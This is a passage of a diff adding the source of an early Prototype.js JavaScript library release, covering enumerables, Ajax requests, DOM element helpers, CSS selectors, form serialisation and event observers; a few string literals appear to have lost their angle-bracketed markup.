Template(replacement); + return function(match) { return template.evaluate(match) }; +} + +String.prototype.parseQuery = String.prototype.toQueryParams; + +var Template = Class.create(); +Template.Pattern = /(^|.|\r|\n)(#\{(.*?)\})/; +Template.prototype = { + initialize: function(template, pattern) { + this.template = template.toString(); + this.pattern = pattern || Template.Pattern; + }, + + evaluate: function(object) { + return this.template.gsub(this.pattern, function(match) { + var before = match[1]; + if (before == '\\') return match[2]; + return before + (object[match[3]] || '').toString(); + }); + } +} + +var $break = new Object(); +var $continue = new Object(); + +var Enumerable = { + each: function(iterator) { + var index = 0; + try { + this._each(function(value) { + try { + iterator(value, index++); + } catch (e) { + if (e != $continue) throw e; + } + }); + } catch (e) { + if (e != $break) throw e; + } + }, + + all: function(iterator) { + var result = true; + this.each(function(value, index) { + result = result && !!(iterator || Prototype.K)(value, index); + if (!result) throw $break; + }); + return result; + }, + + any: function(iterator) { + var result = true; + this.each(function(value, index) { + if (result = !!(iterator || Prototype.K)(value, index)) + throw $break; + }); + return result; + }, + + collect: function(iterator) { + var results = []; + this.each(function(value, index) { + results.push(iterator(value, index)); + }); + return results; + }, + + detect: function (iterator) { + var result; + this.each(function(value, index) { + if (iterator(value, index)) { + result = value; + throw $break; + } + }); + return result; + }, + + findAll: function(iterator) { + var results = []; + this.each(function(value, index) { + if (iterator(value, index)) + results.push(value); + }); + return results; + }, + + grep: function(pattern, iterator) { + var results = []; + this.each(function(value, index) { + var stringValue = value.toString(); + if (stringValue.match(pattern)) + results.push((iterator || Prototype.K)(value, index)); + }) + return results; + }, + + include: function(object) { + var found = false; + this.each(function(value) { + if (value == object) { + found = true; + throw $break; + } + }); + return found; + }, + + inject: function(memo, iterator) { + this.each(function(value, index) { + memo = iterator(memo, value, index); + }); + return memo; + }, + + invoke: function(method) { + var args = $A(arguments).slice(1); + return this.collect(function(value) { + return value[method].apply(value, args); + }); + }, + + max: function(iterator) { + var result; + this.each(function(value, index) { + value = (iterator || Prototype.K)(value, index); + if (result == undefined || value >= result) + result = value; + }); + return result; + }, + + min: function(iterator) { + var result; + this.each(function(value, index) { + value = (iterator || Prototype.K)(value, index); + if (result == undefined || value < result) + result = value; + }); + return result; + }, + + partition: function(iterator) { + var trues = [], falses = []; + this.each(function(value, index) { + ((iterator || Prototype.K)(value, index) ? + trues : falses).push(value); + }); + return [trues, falses]; + }, + + pluck: function(property) { + var results = []; + this.each(function(value, index) { + results.push(value[property]); + }); + return results; + }, + + reject: function(iterator) { + var results = []; + this.each(function(value, index) { + if (!iterator(value, index)) + results.push(value); + }); + return results; + }, + + sortBy: function(iterator) { + return this.collect(function(value, index) { + return {value: value, criteria: iterator(value, index)}; + }).sort(function(left, right) { + var a = left.criteria, b = right.criteria; + return a < b ? -1 : a > b ? 1 : 0; + }).pluck('value'); + }, + + toArray: function() { + return this.collect(Prototype.K); + }, + + zip: function() { + var iterator = Prototype.K, args = $A(arguments); + if (typeof args.last() == 'function') + iterator = args.pop(); + + var collections = [this].concat(args).map($A); + return this.map(function(value, index) { + return iterator(collections.pluck(index)); + }); + }, + + inspect: function() { + return '#'; + } +} + +Object.extend(Enumerable, { + map: Enumerable.collect, + find: Enumerable.detect, + select: Enumerable.findAll, + member: Enumerable.include, + entries: Enumerable.toArray +}); +var $A = Array.from = function(iterable) { + if (!iterable) return []; + if (iterable.toArray) { + return iterable.toArray(); + } else { + var results = []; + for (var i = 0; i < iterable.length; i++) + results.push(iterable[i]); + return results; + } +} + +Object.extend(Array.prototype, Enumerable); + +if (!Array.prototype._reverse) + Array.prototype._reverse = Array.prototype.reverse; + +Object.extend(Array.prototype, { + _each: function(iterator) { + for (var i = 0; i < this.length; i++) + iterator(this[i]); + }, + + clear: function() { + this.length = 0; + return this; + }, + + first: function() { + return this[0]; + }, + + last: function() { + return this[this.length - 1]; + }, + + compact: function() { + return this.select(function(value) { + return value != undefined || value != null; + }); + }, + + flatten: function() { + return this.inject([], function(array, value) { + return array.concat(value && value.constructor == Array ? + value.flatten() : [value]); + }); + }, + + without: function() { + var values = $A(arguments); + return this.select(function(value) { + return !values.include(value); + }); + }, + + indexOf: function(object) { + for (var i = 0; i < this.length; i++) + if (this[i] == object) return i; + return -1; + }, + + reverse: function(inline) { + return (inline !== false ? this : this.toArray())._reverse(); + }, + + inspect: function() { + return '[' + this.map(Object.inspect).join(', ') + ']'; + } +}); +var Hash = { + _each: function(iterator) { + for (var key in this) { + var value = this[key]; + if (typeof value == 'function') continue; + + var pair = [key, value]; + pair.key = key; + pair.value = value; + iterator(pair); + } + }, + + keys: function() { + return this.pluck('key'); + }, + + values: function() { + return this.pluck('value'); + }, + + merge: function(hash) { + return $H(hash).inject($H(this), function(mergedHash, pair) { + mergedHash[pair.key] = pair.value; + return mergedHash; + }); + }, + + toQueryString: function() { + return this.map(function(pair) { + return pair.map(encodeURIComponent).join('='); + }).join('&'); + }, + + inspect: function() { + return '#'; + } +} + +function $H(object) { + var hash = Object.extend({}, object || {}); + Object.extend(hash, Enumerable); + Object.extend(hash, Hash); + return hash; +} +ObjectRange = Class.create(); +Object.extend(ObjectRange.prototype, Enumerable); +Object.extend(ObjectRange.prototype, { + initialize: function(start, end, exclusive) { + this.start = start; + this.end = end; + this.exclusive = exclusive; + }, + + _each: function(iterator) { + var value = this.start; + do { + iterator(value); + value = value.succ(); + } while (this.include(value)); + }, + + include: function(value) { + if (value < this.start) + return false; + if (this.exclusive) + return value < this.end; + return value <= this.end; + } +}); + +var $R = function(start, end, exclusive) { + return new ObjectRange(start, end, exclusive); +} + +var Ajax = { + getTransport: function() { + return Try.these( + function() {return new XMLHttpRequest()}, + function() {return new ActiveXObject('Msxml2.XMLHTTP')}, + function() {return new ActiveXObject('Microsoft.XMLHTTP')} + ) || false; + }, + + activeRequestCount: 0 +} + +Ajax.Responders = { + responders: [], + + _each: function(iterator) { + this.responders._each(iterator); + }, + + register: function(responderToAdd) { + if (!this.include(responderToAdd)) + this.responders.push(responderToAdd); + }, + + unregister: function(responderToRemove) { + this.responders = this.responders.without(responderToRemove); + }, + + dispatch: function(callback, request, transport, json) { + this.each(function(responder) { + if (responder[callback] && typeof responder[callback] == 'function') { + try { + responder[callback].apply(responder, [request, transport, json]); + } catch (e) {} + } + }); + } +}; + +Object.extend(Ajax.Responders, Enumerable); + +Ajax.Responders.register({ + onCreate: function() { + Ajax.activeRequestCount++; + }, + + onComplete: function() { + Ajax.activeRequestCount--; + } +}); + +Ajax.Base = function() {}; +Ajax.Base.prototype = { + setOptions: function(options) { + this.options = { + method: 'post', + asynchronous: true, + contentType: 'application/x-www-form-urlencoded', + parameters: '' + } + Object.extend(this.options, options || {}); + }, + + responseIsSuccess: function() { + return this.transport.status == undefined + || this.transport.status == 0 + || (this.transport.status >= 200 && this.transport.status < 300); + }, + + responseIsFailure: function() { + return !this.responseIsSuccess(); + } +} + +Ajax.Request = Class.create(); +Ajax.Request.Events = + ['Uninitialized', 'Loading', 'Loaded', 'Interactive', 'Complete']; + +Ajax.Request.prototype = Object.extend(new Ajax.Base(), { + initialize: function(url, options) { + this.transport = Ajax.getTransport(); + this.setOptions(options); + this.request(url); + }, + + request: function(url) { + var parameters = this.options.parameters || ''; + if (parameters.length > 0) parameters += '&_='; + + try { + this.url = url; + if (this.options.method == 'get' && parameters.length > 0) + this.url += (this.url.match(/\?/) ? '&' : '?') + parameters; + + Ajax.Responders.dispatch('onCreate', this, this.transport); + + this.transport.open(this.options.method, this.url, + this.options.asynchronous); + + if (this.options.asynchronous) { + this.transport.onreadystatechange = this.onStateChange.bind(this); + setTimeout((function() {this.respondToReadyState(1)}).bind(this), 10); + } + + this.setRequestHeaders(); + + var body = this.options.postBody ? this.options.postBody : parameters; + this.transport.send(this.options.method == 'post' ? body : null); + + } catch (e) { + this.dispatchException(e); + } + }, + + setRequestHeaders: function() { + var requestHeaders = + ['X-Requested-With', 'XMLHttpRequest', + 'X-Prototype-Version', Prototype.Version, + 'Accept', 'text/javascript, text/html, application/xml, text/xml, */*']; + + if (this.options.method == 'post') { + requestHeaders.push('Content-type', this.options.contentType); + + /* Force "Connection: close" for Mozilla browsers to work around + * a bug where XMLHttpReqeuest sends an incorrect Content-length + * header. See Mozilla Bugzilla #246651. + */ + if (this.transport.overrideMimeType) + requestHeaders.push('Connection', 'close'); + } + + if (this.options.requestHeaders) + requestHeaders.push.apply(requestHeaders, this.options.requestHeaders); + + for (var i = 0; i < requestHeaders.length; i += 2) + this.transport.setRequestHeader(requestHeaders[i], requestHeaders[i+1]); + }, + + onStateChange: function() { + var readyState = this.transport.readyState; + if (readyState != 1) + this.respondToReadyState(this.transport.readyState); + }, + + header: function(name) { + try { + return this.transport.getResponseHeader(name); + } catch (e) {} + }, + + evalJSON: function() { + try { + return eval('(' + this.header('X-JSON') + ')'); + } catch (e) {} + }, + + evalResponse: function() { + try { + return eval(this.transport.responseText); + } catch (e) { + this.dispatchException(e); + } + }, + + respondToReadyState: function(readyState) { + var event = Ajax.Request.Events[readyState]; + var transport = this.transport, json = this.evalJSON(); + + if (event == 'Complete') { + try { + (this.options['on' + this.transport.status] + || this.options['on' + (this.responseIsSuccess() ? 'Success' : 'Failure')] + || Prototype.emptyFunction)(transport, json); + } catch (e) { + this.dispatchException(e); + } + + if ((this.header('Content-type') || '').match(/^text\/javascript/i)) + this.evalResponse(); + } + + try { + (this.options['on' + event] || Prototype.emptyFunction)(transport, json); + Ajax.Responders.dispatch('on' + event, this, transport, json); + } catch (e) { + this.dispatchException(e); + } + + /* Avoid memory leak in MSIE: clean up the oncomplete event handler */ + if (event == 'Complete') + this.transport.onreadystatechange = Prototype.emptyFunction; + }, + + dispatchException: function(exception) { + (this.options.onException || Prototype.emptyFunction)(this, exception); + Ajax.Responders.dispatch('onException', this, exception); + } +}); + +Ajax.Updater = Class.create(); + +Object.extend(Object.extend(Ajax.Updater.prototype, Ajax.Request.prototype), { + initialize: function(container, url, options) { + this.containers = { + success: container.success ? $(container.success) : $(container), + failure: container.failure ? $(container.failure) : + (container.success ? null : $(container)) + } + + this.transport = Ajax.getTransport(); + this.setOptions(options); + + var onComplete = this.options.onComplete || Prototype.emptyFunction; + this.options.onComplete = (function(transport, object) { + this.updateContent(); + onComplete(transport, object); + }).bind(this); + + this.request(url); + }, + + updateContent: function() { + var receiver = this.responseIsSuccess() ? + this.containers.success : this.containers.failure; + var response = this.transport.responseText; + + if (!this.options.evalScripts) + response = response.stripScripts(); + + if (receiver) { + if (this.options.insertion) { + new this.options.insertion(receiver, response); + } else { + Element.update(receiver, response); + } + } + + if (this.responseIsSuccess()) { + if (this.onComplete) + setTimeout(this.onComplete.bind(this), 10); + } + } +}); + +Ajax.PeriodicalUpdater = Class.create(); +Ajax.PeriodicalUpdater.prototype = Object.extend(new Ajax.Base(), { + initialize: function(container, url, options) { + this.setOptions(options); + this.onComplete = this.options.onComplete; + + this.frequency = (this.options.frequency || 2); + this.decay = (this.options.decay || 1); + + this.updater = {}; + this.container = container; + this.url = url; + + this.start(); + }, + + start: function() { + this.options.onComplete = this.updateComplete.bind(this); + this.onTimerEvent(); + }, + + stop: function() { + this.updater.onComplete = undefined; + clearTimeout(this.timer); + (this.onComplete || Prototype.emptyFunction).apply(this, arguments); + }, + + updateComplete: function(request) { + if (this.options.decay) { + this.decay = (request.responseText == this.lastText ? + this.decay * this.options.decay : 1); + + this.lastText = request.responseText; + } + this.timer = setTimeout(this.onTimerEvent.bind(this), + this.decay * this.frequency * 1000); + }, + + onTimerEvent: function() { + this.updater = new Ajax.Updater(this.container, this.url, this.options); + } +}); +function $() { + var results = [], element; + for (var i = 0; i < arguments.length; i++) { + element = arguments[i]; + if (typeof element == 'string') + element = document.getElementById(element); + results.push(Element.extend(element)); + } + return results.length < 2 ? results[0] : results; +} + +document.getElementsByClassName = function(className, parentElement) { + var children = ($(parentElement) || document.body).getElementsByTagName('*'); + return $A(children).inject([], function(elements, child) { + if (child.className.match(new RegExp("(^|\\s)" + className + "(\\s|$)"))) + elements.push(Element.extend(child)); + return elements; + }); +} + +/*--------------------------------------------------------------------------*/ + +if (!window.Element) + var Element = new Object(); + +Element.extend = function(element) { + if (!element) return; + if (_nativeExtensions) return element; + + if (!element._extended && element.tagName && element != window) { + var methods = Element.Methods, cache = Element.extend.cache; + for (property in methods) { + var value = methods[property]; + if (typeof value == 'function') + element[property] = cache.findOrStore(value); + } + } + + element._extended = true; + return element; +} + +Element.extend.cache = { + findOrStore: function(value) { + return this[value] = this[value] || function() { + return value.apply(null, [this].concat($A(arguments))); + } + } +} + +Element.Methods = { + visible: function(element) { + return $(element).style.display != 'none'; + }, + + toggle: function() { + for (var i = 0; i < arguments.length; i++) { + var element = $(arguments[i]); + Element[Element.visible(element) ? 'hide' : 'show'](element); + } + }, + + hide: function() { + for (var i = 0; i < arguments.length; i++) { + var element = $(arguments[i]); + element.style.display = 'none'; + } + }, + + show: function() { + for (var i = 0; i < arguments.length; i++) { + var element = $(arguments[i]); + element.style.display = ''; + } + }, + + remove: function(element) { + element = $(element); + element.parentNode.removeChild(element); + }, + + update: function(element, html) { + $(element).innerHTML = html.stripScripts(); + setTimeout(function() {html.evalScripts()}, 10); + }, + + replace: function(element, html) { + element = $(element); + if (element.outerHTML) { + element.outerHTML = html.stripScripts(); + } else { + var range = element.ownerDocument.createRange(); + range.selectNodeContents(element); + element.parentNode.replaceChild( + range.createContextualFragment(html.stripScripts()), element); + } + setTimeout(function() {html.evalScripts()}, 10); + }, + + getHeight: function(element) { + element = $(element); + return element.offsetHeight; + }, + + classNames: function(element) { + return new Element.ClassNames(element); + }, + + hasClassName: function(element, className) { + if (!(element = $(element))) return; + return Element.classNames(element).include(className); + }, + + addClassName: function(element, className) { + if (!(element = $(element))) return; + return Element.classNames(element).add(className); + }, + + removeClassName: function(element, className) { + if (!(element = $(element))) return; + return Element.classNames(element).remove(className); + }, + + // removes whitespace-only text node children + cleanWhitespace: function(element) { + element = $(element); + for (var i = 0; i < element.childNodes.length; i++) { + var node = element.childNodes[i]; + if (node.nodeType == 3 && !/\S/.test(node.nodeValue)) + Element.remove(node); + } + }, + + empty: function(element) { + return $(element).innerHTML.match(/^\s*$/); + }, + + childOf: function(element, ancestor) { + element = $(element), ancestor = $(ancestor); + while (element = element.parentNode) + if (element == ancestor) return true; + return false; + }, + + scrollTo: function(element) { + element = $(element); + var x = element.x ? element.x : element.offsetLeft, + y = element.y ? element.y : element.offsetTop; + window.scrollTo(x, y); + }, + + getStyle: function(element, style) { + element = $(element); + var value = element.style[style.camelize()]; + if (!value) { + if (document.defaultView && document.defaultView.getComputedStyle) { + var css = document.defaultView.getComputedStyle(element, null); + value = css ? css.getPropertyValue(style) : null; + } else if (element.currentStyle) { + value = element.currentStyle[style.camelize()]; + } + } + + if (window.opera && ['left', 'top', 'right', 'bottom'].include(style)) + if (Element.getStyle(element, 'position') == 'static') value = 'auto'; + + return value == 'auto' ? null : value; + }, + + setStyle: function(element, style) { + element = $(element); + for (var name in style) + element.style[name.camelize()] = style[name]; + }, + + getDimensions: function(element) { + element = $(element); + if (Element.getStyle(element, 'display') != 'none') + return {width: element.offsetWidth, height: element.offsetHeight}; + + // All *Width and *Height properties give 0 on elements with display none, + // so enable the element temporarily + var els = element.style; + var originalVisibility = els.visibility; + var originalPosition = els.position; + els.visibility = 'hidden'; + els.position = 'absolute'; + els.display = ''; + var originalWidth = element.clientWidth; + var originalHeight = element.clientHeight; + els.display = 'none'; + els.position = originalPosition; + els.visibility = originalVisibility; + return {width: originalWidth, height: originalHeight}; + }, + + makePositioned: function(element) { + element = $(element); + var pos = Element.getStyle(element, 'position'); + if (pos == 'static' || !pos) { + element._madePositioned = true; + element.style.position = 'relative'; + // Opera returns the offset relative to the positioning context, when an + // element is position relative but top and left have not been defined + if (window.opera) { + element.style.top = 0; + element.style.left = 0; + } + } + }, + + undoPositioned: function(element) { + element = $(element); + if (element._madePositioned) { + element._madePositioned = undefined; + element.style.position = + element.style.top = + element.style.left = + element.style.bottom = + element.style.right = ''; + } + }, + + makeClipping: function(element) { + element = $(element); + if (element._overflow) return; + element._overflow = element.style.overflow; + if ((Element.getStyle(element, 'overflow') || 'visible') != 'hidden') + element.style.overflow = 'hidden'; + }, + + undoClipping: function(element) { + element = $(element); + if (element._overflow) return; + element.style.overflow = element._overflow; + element._overflow = undefined; + } +} + +Object.extend(Element, Element.Methods); + +var _nativeExtensions = false; + +if(!HTMLElement && /Konqueror|Safari|KHTML/.test(navigator.userAgent)) { + var HTMLElement = {} + HTMLElement.prototype = document.createElement('div').__proto__; +} + +Element.addMethods = function(methods) { + Object.extend(Element.Methods, methods || {}); + + if(typeof HTMLElement != 'undefined') { + var methods = Element.Methods, cache = Element.extend.cache; + for (property in methods) { + var value = methods[property]; + if (typeof value == 'function') + HTMLElement.prototype[property] = cache.findOrStore(value); + } + _nativeExtensions = true; + } +} + +Element.addMethods(); + +var Toggle = new Object(); +Toggle.display = Element.toggle; + +/*--------------------------------------------------------------------------*/ + +Abstract.Insertion = function(adjacency) { + this.adjacency = adjacency; +} + +Abstract.Insertion.prototype = { + initialize: function(element, content) { + this.element = $(element); + this.content = content.stripScripts(); + + if (this.adjacency && this.element.insertAdjacentHTML) { + try { + this.element.insertAdjacentHTML(this.adjacency, this.content); + } catch (e) { + var tagName = this.element.tagName.toLowerCase(); + if (tagName == 'tbody' || tagName == 'tr') { + this.insertContent(this.contentFromAnonymousTable()); + } else { + throw e; + } + } + } else { + this.range = this.element.ownerDocument.createRange(); + if (this.initializeRange) this.initializeRange(); + this.insertContent([this.range.createContextualFragment(this.content)]); + } + + setTimeout(function() {content.evalScripts()}, 10); + }, + + contentFromAnonymousTable: function() { + var div = document.createElement('div'); + div.innerHTML = '' + this.content + '
    '; + return $A(div.childNodes[0].childNodes[0].childNodes); + } +} + +var Insertion = new Object(); + +Insertion.Before = Class.create(); +Insertion.Before.prototype = Object.extend(new Abstract.Insertion('beforeBegin'), { + initializeRange: function() { + this.range.setStartBefore(this.element); + }, + + insertContent: function(fragments) { + fragments.each((function(fragment) { + this.element.parentNode.insertBefore(fragment, this.element); + }).bind(this)); + } +}); + +Insertion.Top = Class.create(); +Insertion.Top.prototype = Object.extend(new Abstract.Insertion('afterBegin'), { + initializeRange: function() { + this.range.selectNodeContents(this.element); + this.range.collapse(true); + }, + + insertContent: function(fragments) { + fragments.reverse(false).each((function(fragment) { + this.element.insertBefore(fragment, this.element.firstChild); + }).bind(this)); + } +}); + +Insertion.Bottom = Class.create(); +Insertion.Bottom.prototype = Object.extend(new Abstract.Insertion('beforeEnd'), { + initializeRange: function() { + this.range.selectNodeContents(this.element); + this.range.collapse(this.element); + }, + + insertContent: function(fragments) { + fragments.each((function(fragment) { + this.element.appendChild(fragment); + }).bind(this)); + } +}); + +Insertion.After = Class.create(); +Insertion.After.prototype = Object.extend(new Abstract.Insertion('afterEnd'), { + initializeRange: function() { + this.range.setStartAfter(this.element); + }, + + insertContent: function(fragments) { + fragments.each((function(fragment) { + this.element.parentNode.insertBefore(fragment, + this.element.nextSibling); + }).bind(this)); + } +}); + +/*--------------------------------------------------------------------------*/ + +Element.ClassNames = Class.create(); +Element.ClassNames.prototype = { + initialize: function(element) { + this.element = $(element); + }, + + _each: function(iterator) { + this.element.className.split(/\s+/).select(function(name) { + return name.length > 0; + })._each(iterator); + }, + + set: function(className) { + this.element.className = className; + }, + + add: function(classNameToAdd) { + if (this.include(classNameToAdd)) return; + this.set(this.toArray().concat(classNameToAdd).join(' ')); + }, + + remove: function(classNameToRemove) { + if (!this.include(classNameToRemove)) return; + this.set(this.select(function(className) { + return className != classNameToRemove; + }).join(' ')); + }, + + toString: function() { + return this.toArray().join(' '); + } +} + +Object.extend(Element.ClassNames.prototype, Enumerable); +var Selector = Class.create(); +Selector.prototype = { + initialize: function(expression) { + this.params = {classNames: []}; + this.expression = expression.toString().strip(); + this.parseExpression(); + this.compileMatcher(); + }, + + parseExpression: function() { + function abort(message) { throw 'Parse error in selector: ' + message; } + + if (this.expression == '') abort('empty expression'); + + var params = this.params, expr = this.expression, match, modifier, clause, rest; + while (match = expr.match(/^(.*)\[([a-z0-9_:-]+?)(?:([~\|!]?=)(?:"([^"]*)"|([^\]\s]*)))?\]$/i)) { + params.attributes = params.attributes || []; + params.attributes.push({name: match[2], operator: match[3], value: match[4] || match[5] || ''}); + expr = match[1]; + } + + if (expr == '*') return this.params.wildcard = true; + + while (match = expr.match(/^([^a-z0-9_-])?([a-z0-9_-]+)(.*)/i)) { + modifier = match[1], clause = match[2], rest = match[3]; + switch (modifier) { + case '#': params.id = clause; break; + case '.': params.classNames.push(clause); break; + case '': + case undefined: params.tagName = clause.toUpperCase(); break; + default: abort(expr.inspect()); + } + expr = rest; + } + + if (expr.length > 0) abort(expr.inspect()); + }, + + buildMatchExpression: function() { + var params = this.params, conditions = [], clause; + + if (params.wildcard) + conditions.push('true'); + if (clause = params.id) + conditions.push('element.id == ' + clause.inspect()); + if (clause = params.tagName) + conditions.push('element.tagName.toUpperCase() == ' + clause.inspect()); + if ((clause = params.classNames).length > 0) + for (var i = 0; i < clause.length; i++) + conditions.push('Element.hasClassName(element, ' + clause[i].inspect() + ')'); + if (clause = params.attributes) { + clause.each(function(attribute) { + var value = 'element.getAttribute(' + attribute.name.inspect() + ')'; + var splitValueBy = function(delimiter) { + return value + ' && ' + value + '.split(' + delimiter.inspect() + ')'; + } + + switch (attribute.operator) { + case '=': conditions.push(value + ' == ' + attribute.value.inspect()); break; + case '~=': conditions.push(splitValueBy(' ') + '.include(' + attribute.value.inspect() + ')'); break; + case '|=': conditions.push( + splitValueBy('-') + '.first().toUpperCase() == ' + attribute.value.toUpperCase().inspect() + ); break; + case '!=': conditions.push(value + ' != ' + attribute.value.inspect()); break; + case '': + case undefined: conditions.push(value + ' != null'); break; + default: throw 'Unknown operator ' + attribute.operator + ' in selector'; + } + }); + } + + return conditions.join(' && '); + }, + + compileMatcher: function() { + this.match = new Function('element', 'if (!element.tagName) return false; \ + return ' + this.buildMatchExpression()); + }, + + findElements: function(scope) { + var element; + + if (element = $(this.params.id)) + if (this.match(element)) + if (!scope || Element.childOf(element, scope)) + return [element]; + + scope = (scope || document).getElementsByTagName(this.params.tagName || '*'); + + var results = []; + for (var i = 0; i < scope.length; i++) + if (this.match(element = scope[i])) + results.push(Element.extend(element)); + + return results; + }, + + toString: function() { + return this.expression; + } +} + +function $$() { + return $A(arguments).map(function(expression) { + return expression.strip().split(/\s+/).inject([null], function(results, expr) { + var selector = new Selector(expr); + return results.map(selector.findElements.bind(selector)).flatten(); + }); + }).flatten(); +} +var Field = { + clear: function() { + for (var i = 0; i < arguments.length; i++) + $(arguments[i]).value = ''; + }, + + focus: function(element) { + $(element).focus(); + }, + + present: function() { + for (var i = 0; i < arguments.length; i++) + if ($(arguments[i]).value == '') return false; + return true; + }, + + select: function(element) { + $(element).select(); + }, + + activate: function(element) { + element = $(element); + element.focus(); + if (element.select) + element.select(); + } +} + +/*--------------------------------------------------------------------------*/ + +var Form = { + serialize: function(form) { + var elements = Form.getElements($(form)); + var queryComponents = new Array(); + + for (var i = 0; i < elements.length; i++) { + var queryComponent = Form.Element.serialize(elements[i]); + if (queryComponent) + queryComponents.push(queryComponent); + } + + return queryComponents.join('&'); + }, + + getElements: function(form) { + form = $(form); + var elements = new Array(); + + for (var tagName in Form.Element.Serializers) { + var tagElements = form.getElementsByTagName(tagName); + for (var j = 0; j < tagElements.length; j++) + elements.push(tagElements[j]); + } + return elements; + }, + + getInputs: function(form, typeName, name) { + form = $(form); + var inputs = form.getElementsByTagName('input'); + + if (!typeName && !name) + return inputs; + + var matchingInputs = new Array(); + for (var i = 0; i < inputs.length; i++) { + var input = inputs[i]; + if ((typeName && input.type != typeName) || + (name && input.name != name)) + continue; + matchingInputs.push(input); + } + + return matchingInputs; + }, + + disable: function(form) { + var elements = Form.getElements(form); + for (var i = 0; i < elements.length; i++) { + var element = elements[i]; + element.blur(); + element.disabled = 'true'; + } + }, + + enable: function(form) { + var elements = Form.getElements(form); + for (var i = 0; i < elements.length; i++) { + var element = elements[i]; + element.disabled = ''; + } + }, + + findFirstElement: function(form) { + return Form.getElements(form).find(function(element) { + return element.type != 'hidden' && !element.disabled && + ['input', 'select', 'textarea'].include(element.tagName.toLowerCase()); + }); + }, + + focusFirstElement: function(form) { + Field.activate(Form.findFirstElement(form)); + }, + + reset: function(form) { + $(form).reset(); + } +} + +Form.Element = { + serialize: function(element) { + element = $(element); + var method = element.tagName.toLowerCase(); + var parameter = Form.Element.Serializers[method](element); + + if (parameter) { + var key = encodeURIComponent(parameter[0]); + if (key.length == 0) return; + + if (parameter[1].constructor != Array) + parameter[1] = [parameter[1]]; + + return parameter[1].map(function(value) { + return key + '=' + encodeURIComponent(value); + }).join('&'); + } + }, + + getValue: function(element) { + element = $(element); + var method = element.tagName.toLowerCase(); + var parameter = Form.Element.Serializers[method](element); + + if (parameter) + return parameter[1]; + } +} + +Form.Element.Serializers = { + input: function(element) { + switch (element.type.toLowerCase()) { + case 'submit': + case 'hidden': + case 'password': + case 'text': + return Form.Element.Serializers.textarea(element); + case 'checkbox': + case 'radio': + return Form.Element.Serializers.inputSelector(element); + } + return false; + }, + + inputSelector: function(element) { + if (element.checked) + return [element.name, element.value]; + }, + + textarea: function(element) { + return [element.name, element.value]; + }, + + select: function(element) { + return Form.Element.Serializers[element.type == 'select-one' ? + 'selectOne' : 'selectMany'](element); + }, + + selectOne: function(element) { + var value = '', opt, index = element.selectedIndex; + if (index >= 0) { + opt = element.options[index]; + value = opt.value || opt.text; + } + return [element.name, value]; + }, + + selectMany: function(element) { + var value = []; + for (var i = 0; i < element.length; i++) { + var opt = element.options[i]; + if (opt.selected) + value.push(opt.value || opt.text); + } + return [element.name, value]; + } +} + +/*--------------------------------------------------------------------------*/ + +var $F = Form.Element.getValue; + +/*--------------------------------------------------------------------------*/ + +Abstract.TimedObserver = function() {} +Abstract.TimedObserver.prototype = { + initialize: function(element, frequency, callback) { + this.frequency = frequency; + this.element = $(element); + this.callback = callback; + + this.lastValue = this.getValue(); + this.registerCallback(); + }, + + registerCallback: function() { + setInterval(this.onTimerEvent.bind(this), this.frequency * 1000); + }, + + onTimerEvent: function() { + var value = this.getValue(); + if (this.lastValue != value) { + this.callback(this.element, value); + this.lastValue = value; + } + } +} + +Form.Element.Observer = Class.create(); +Form.Element.Observer.prototype = Object.extend(new Abstract.TimedObserver(), { + getValue: function() { + return Form.Element.getValue(this.element); + } +}); + +Form.Observer = Class.create(); +Form.Observer.prototype = Object.extend(new Abstract.TimedObserver(), { + getValue: function() { + return Form.serialize(this.element); + } +}); + +/*--------------------------------------------------------------------------*/ + +Abstract.EventObserver = function() {} +Abstract.EventObserver.prototype = { + initialize: function(element, callback) { + this.element = $(element); + this.callback = callback; + + this.lastValue = this.getValue(); + if (this.element.tagName.toLowerCase() == 'form') + this.registerFormCallbacks(); + else + this.registerCallback(this.element); + }, + + onElementEvent: function() { + var value = this.getValue(); + if (this.lastValue != value) { + this.callback(this.element, value); + this.lastValue = value; + } + }, + + registerFormCallbacks: function() { + var elements = Form.getElements(this.element); + for (var i = 0; i < elements.length; i++) + this.registerCallback(elements[i]); + }, + + registerCallback: function(element) { + if (element.type) { + switch (element.type.toLowerCase()) { + case 'checkbox': + case 'radio': + Event.observe(element, 'click', this.onElementEvent.bind(this)); + break; + case 'password': + case 'text': + case 'textarea': + case 'select-one': + case 'select-multiple': + Event.observe(element, 'change', this.onElementEvent.bind(this)); + break; + } + } + } +} + +Form.Element.EventObserver = Class.create(); +Form.Element.EventObserver.prototype = Object.extend(new Abstract.EventObserver(), { + getValue: function() { + return Form.Element.getValue(this.element); + } +}); + +Form.EventObserver = Class.create(); +Form.EventObserver.prototype = Object.extend(new Abstract.EventObserver(), { + getValue: function() { + return Form.serialize(this.element); + } +}); +if (!window.Event) { + var Event = new Object(); +} + +Object.extend(Event, { + KEY_BACKSPACE: 8, + KEY_TAB: 9, + KEY_RETURN: 13, + KEY_ESC: 27, + KEY_LEFT: 37, + KEY_UP: 38, + KEY_RIGHT: 39, + KEY_DOWN: 40, + KEY_DELETE: 46, + + element: function(event) { + return event.target || event.srcElement; + }, + + isLeftClick: function(event) { + return (((event.which) && (event.which == 1)) || + ((event.button) && (event.button == 1))); + }, + + pointerX: function(event) { + return event.pageX || (event.clientX + + (document.documentElement.scrollLeft || document.body.scrollLeft)); + }, + + pointerY: function(event) { + return event.pageY || (event.clientY + + (document.documentElement.scrollTop || document.body.scrollTop)); + }, + + stop: function(event) { + if (event.preventDefault) { + event.preventDefault(); + event.stopPropagation(); + } else { + event.returnValue = false; + event.cancelBubble = true; + } + }, + + // find the first node with the given tagName, starting from the + // node the event was triggered on; traverses the DOM upwards + findElement: function(event, tagName) { + var element = Event.element(event); + while (element.parentNode && (!element.tagName || + (element.tagName.toUpperCase() != tagName.toUpperCase()))) + element = element.parentNode; + return element; + }, + + observers: false, + + _observeAndCache: function(element, name, observer, useCapture) { + if (!this.observers) this.observers = []; + if (element.addEventListener) { + this.observers.push([element, name, observer, useCapture]); + element.addEventListener(name, observer, useCapture); + } else if (element.attachEvent) { + this.observers.push([element, name, observer, useCapture]); + element.attachEvent('on' + name, observer); + } + }, + + unloadCache: function() { + if (!Event.observers) return; + for (var i = 0; i < Event.observers.length; i++) { + Event.stopObserving.apply(this, Event.observers[i]); + Event.observers[i][0] = null; + } + Event.observers = false; + }, + + observe: function(element, name, observer, useCapture) { + var element = $(element); + useCapture = useCapture || false; + + if (name == 'keypress' && + (navigator.appVersion.match(/Konqueror|Safari|KHTML/) + || element.attachEvent)) + name = 'keydown'; + + this._observeAndCache(element, name, observer, useCapture); + }, + + stopObserving: function(element, name, observer, 